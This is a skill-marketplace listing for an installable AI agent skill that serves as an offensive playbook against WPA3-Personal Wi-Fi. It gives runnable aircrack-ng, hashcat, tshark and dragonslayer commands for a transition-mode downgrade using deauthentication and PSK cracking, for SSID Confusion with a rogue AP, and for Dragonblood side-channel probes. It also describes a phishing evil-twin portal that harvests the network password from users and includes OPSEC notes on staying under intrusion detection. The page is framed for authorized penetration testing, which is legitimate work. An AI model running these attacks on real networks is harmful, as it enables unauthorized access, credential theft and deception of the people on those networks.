# Wpa3 Sae

> WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.

- Skill: `purpleailab/wpa3-sae` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/wpa3-sae`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/wpa3-sae/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/wpa3-sae

---


# WPA3-SAE

> SAE is an online-only protocol — there is no PMKID or 4-way
> handshake hash to crack offline. The headline deliverable when the
> PSK is unrecoverable is the **MFP state finding** (mandatory vs
> optional vs disabled) which proves downgrade viability. Realistic
> outcome: either recover the PSK via the transition-mode WPA2 leg,
> or document SAE + MFP as a hardened target with no further wireless
> attack surface.

## Prerequisites

- Monitor-mode adapter on the target channel.
- Tools: `aircrack-ng` suite, `hcxdumptool`, `hcxpcapngtool`,
  `hashcat`, `iw`, `tshark` or `wireshark-cli`.
- Optional (Dragonblood / transition probing): `dragonslayer` /
  `wpa_supplicant` dev branch (Vanhoef scripts), Python 3.8+.
- Confirm `iw reg get` matches the engagement's regulatory domain
  before any TX.

## Path A — Transition-mode downgrade (DragonShift)

**Target signature:** AP advertises both PSK and SAE (`WPA2 WPA3`
in airodump ENC column, or RSN IE shows both AKM 00-0F-AC:2 PSK
and 00-0F-AC:8 SAE), **AND** PMF is optional (`MFPC=1, MFPR=0`)
rather than required (`MFPR=1`).

```bash
# 1. Passive recon — confirm transition mode + PMF state
sudo airodump-ng --write-interval 1 -w /tmp/wpa3_recon --output-format csv,pcap \
    -c <CHANNEL> --bssid <BSSID> <mon-iface>

# 2. Decode RSN capabilities from beacon to read MFPC/MFPR
tshark -r /tmp/wpa3_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
    -T fields \
    -e wlan.ssid \
    -e wlan_mgt.rsn.capabilities.mfpc \
    -e wlan_mgt.rsn.capabilities.mfpr 2>/dev/null | head -5

# Expected output for downgrade-viable target:
#   TargetSSID   1   0
# MFPC=1 MFPR=0 → PMF optional → client negotiates WPA2 PSK leg
# MFPC=1 MFPR=1 → PMF required → downgrade blocked; pivot to Path B/C/D
```

```bash
# 3. Coerce client onto the WPA2 PSK leg
#    Send targeted deauth to a connected client (requires
#    permitted_actions: deauth_for_handshake_capture in RoE).
sudo aireplay-ng --deauth 1 -a <BSSID> -c <CLIENT_MAC> <mon-iface>

# 4. Client reconnects choosing WPA2 PSK AKM (no SAE preference).
#    Capture the resulting 4-way handshake / PMKID from airodump.
hcxpcapngtool -o /tmp/downgrade.hc22000 /tmp/wpa3_recon-01.cap

# 5. Crack with hashcat exactly as wpa2-psk skill.
hashcat -m 22000 /tmp/downgrade.hc22000 /usr/share/wordlists/rockyou.txt
```

> Hand off to `wpa2-psk` skill for cracking if the above yields a
> hash. The downgrade finding stands independently even without a
> cracked PSK.

## Path B — SSID Confusion (CVE-2023-52424)

**Preconditions (all required):**
1. Victim device has stored credentials for SSID-A on network-A
   AND SSID-A on network-B (credential reuse across SSIDs).
2. Neither AP uses beacon protection (802.11bn beacon-integrity
   extension — uncommon in 2026 consumer gear).
3. The PMK derivation in the target's supplicant does not bind the
   SSID (WPA2/WPA3 SAE do not bind SSID into the PMK by spec unless
   the vendor implements extra protection).

```bash
# 1. Identify trusted SSID the client probes for
sudo airodump-ng <mon-iface> 2>/dev/null | grep "Probe"
# e.g., victim probes for "CorpWifi" which reuses PSK on home AP

# 2. Confirm no beacon protection in target beacons
tshark -r /tmp/wpa3_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
    -T fields -e wlan.ssid -e wlan.tag.number 2>/dev/null | grep "130"
# Tag 130 = FILS Public Key / beacon protection present → attack blocked

# 3. Stand up a rogue AP with the trusted SSID using the
#    victim's own SAE credentials (operator already has the PSK from
#    another path, or this is a known shared-PSK environment).
#    Cross-reference evil-twin-karma skill for rogue AP setup.
#    The victim associates using its saved PSK — traffic flows via
#    attacker AP despite never cracking SAE directly.
```

**Limits:** Requires credential reuse. Most corporate environments
use unique per-network credentials, defeating this. Primarily viable
in SMB/SOHO where the same "home" PSK is reused on a WPA3 network.
(Reference: Vanhoef & Gollier, "SSID Confusion Attack", USENIX 2024.)

## Path C — Dragonblood side-channels (legacy/embedded only)

**Viability note:** Both the timing and cache side-channel variants
(CVE-2019-9494, CVE-2019-9496) and the ECC group-downgrade attack
(CVE-2019-13377) are **patched in hostapd ≥ 2.9 / wpa_supplicant ≥
2.9 (2019)**. Target must be running unpatched firmware — typical
on embedded routers, old ISP-supplied CPE, or IoT access points
with frozen firmware.

```bash
# 1. Check AP firmware / hostapd version via beacon or SNMP
sudo airodump-ng --bssid <BSSID> -c <CHANNEL> <mon-iface>
# Look for vendor OUI → cross-ref CVE database for hostapd version

# 2. Group-downgrade probe — send SAE Commit with ECC group 22 (non-default)
#    Vanhoef dragonslayer script automates this:
python3 dragonslayer.py --interface <mon-iface> --target-bssid <BSSID> \
    --test group-downgrade

# 3. Timing attack (cache/timing oracle on P-521 scalar multiplication)
#    Also in dragonslayer; requires ~1000 timing samples to extract nonce.
python3 dragonslayer.py --interface <mon-iface> --target-bssid <BSSID> \
    --test timing-attack --iterations 1200

# Output: recovered nonce bits → partial PSK entropy.
# Full offline crack still requires mutation + hashcat.
```

**Expected result on patched target:** SAE Commit is rejected with
status 77 (unsupported finite cyclic group) for group 22, and timing
variance is <10 µs (indistinguishable). Mark as `not_vulnerable`.

## Path D — SAE captive-portal social-engineering recovery

For networks where SAE is cryptographically intact and the PSK is
strong, a hostile-portal workflow (social engineering) can recover
the PSK directly from the user:

```bash
# Stand up evil-twin with matching SSID + deauth.
# See evil-twin-karma skill for full rogue AP + portal setup.
# Workflow: victim sees "Reconnect to Wi-Fi" prompt on portal page;
# submits PSK; phishing page validates it against a local wpa_supplicant
# instance pointing at a dummy SAE AP to confirm credential correctness
# before accepting.
# Reference: Chatzisofroniou & Vanhoef arXiv:2412.15381 (2024).
```

## Evidence

On successful downgrade or PSK recovery, write a `Credential` node:

```python
kg_add_node(
    kind="credential",
    label=f"WiFi PSK for {ssid} (WPA3-SAE transition downgrade)",
    props={
        "key": f"wifi-psk::{bssid}",
        "secret_type": "wpa_sae",
        "ssid": ssid,
        "bssid": bssid,
        "psk": psk,
        "attack_path": "wpa3-transition-downgrade",
        "cracked_at": "<iso8601>",
        "source": "dragonshift+hashcat-22000",
    },
)
```

Always write a `Finding` node for the PMF state regardless of crack outcome:

```python
kg_add_node(
    kind="finding",
    label="WPA3 Transition Mode — PMF Optional (Downgrade Viable)",
    props={
        "key": f"pmf-optional::{bssid}",
        "severity": "high",
        "mfpc": True,
        "mfpr": False,
        "cve_ids": [],
        "remediation": "Set MFP=Required (MFPR=1) on the AP to block transition-mode downgrade.",
    },
)
```

## ZFP

1. tshark or Wireshark screenshot showing MFPC=1, MFPR=0 in RSN capabilities.
2. Captured .hc22000 from the WPA2-leg reconnection (or dragonslayer output for Path C).
3. `hashcat --show` output confirming PSK (if cracked).

If PSK not cracked: the PMF-optional finding is a standalone deliverable. Document as "SAE transition-mode downgrade viable; PSK not recovered in engagement timeframe."

## OPSEC notes

- Transition-mode downgrade requires one targeted deauth — gate on
  `permitted_actions: deauth_for_handshake_capture`.
- PMKID capture from the WPA2 leg is OPSEC-quiet (no deauth).
- Dragonblood timing attack requires ~10+ minutes of repeated SAE
  Commit frames — loud, triggers WIDS. Gate on `posture=loud`.
- SSID Confusion and portal recovery (Path B/D) involve active TX;
  check regulatory domain first.

## References

- `references/wpa3-transition-mode-notes.md` — extended transition-mode notes.
- Vanhoef & Gollier, "SSID Confusion Attack", USENIX Security 2024 (CVE-2023-52424).
- Vanhoef & Ronen, "Dragonblood: Analyzing the Dragonfly Handshake of WPA3-SAE", IEEE S&P 2020.
- `wpa2-psk` skill — crack the recovered WPA2-leg handshake.
- `evil-twin-karma` skill — rogue AP setup for Path D.
- `deauth-pmf` skill — PMF detection and targeted deauth mechanics.